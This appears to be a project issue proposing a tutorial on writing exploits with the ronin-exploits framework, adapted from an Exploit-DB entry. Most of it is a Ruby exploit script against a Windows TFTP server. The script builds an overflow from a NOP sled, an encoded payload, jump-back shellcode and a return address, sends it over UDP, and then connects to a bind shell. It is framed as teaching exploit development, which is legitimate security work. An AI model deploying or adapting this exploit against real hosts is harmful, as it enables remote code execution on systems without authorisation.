Add a "your first exploit" tutorial

[postmodern]

Add a tutorial detailing how to write exploits using ronin-exploits.

• Use an existing exploit from www.exploit-db.com (http://www.exploit-db.com/exploits/5314/)
• Generate a skeleton exploit.
• Convert the logic over.

#!/usr/bin/ronin-exploit -f

require 'ronin/exploit/remote_udp'

Ronin::Exploits::RemoteUDP.object do

  cache do
    self.description = "TFTP Server for Windows V1.4 ST (0day)"
    self.url = "http://www.offensive-security.com"
  end

  parameter :host, :default => '172.16.167.134'

  parameter :port, :default => 69

  build do
    # Jump back shellcode
    sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
    sc += "\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
    sc += "\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"

    filename = ("\x90" * 860)   +
               @encoded_payload +
               ("\x90" * 14)    +
               "#{sc}\xeb\xd0\x90\x90\x2b\x0e\x41"

    mode = "netascii"

    @exploit = "\x00\x02" + filename + "\0" + mode + "\0"
  end

  deploy do
    print_info "Sending evil packet, ph33r"

    udp_send @exploit

    print_info "Connecting to bind shell"
  end

end

[postmodern]

Superseded by issue #30.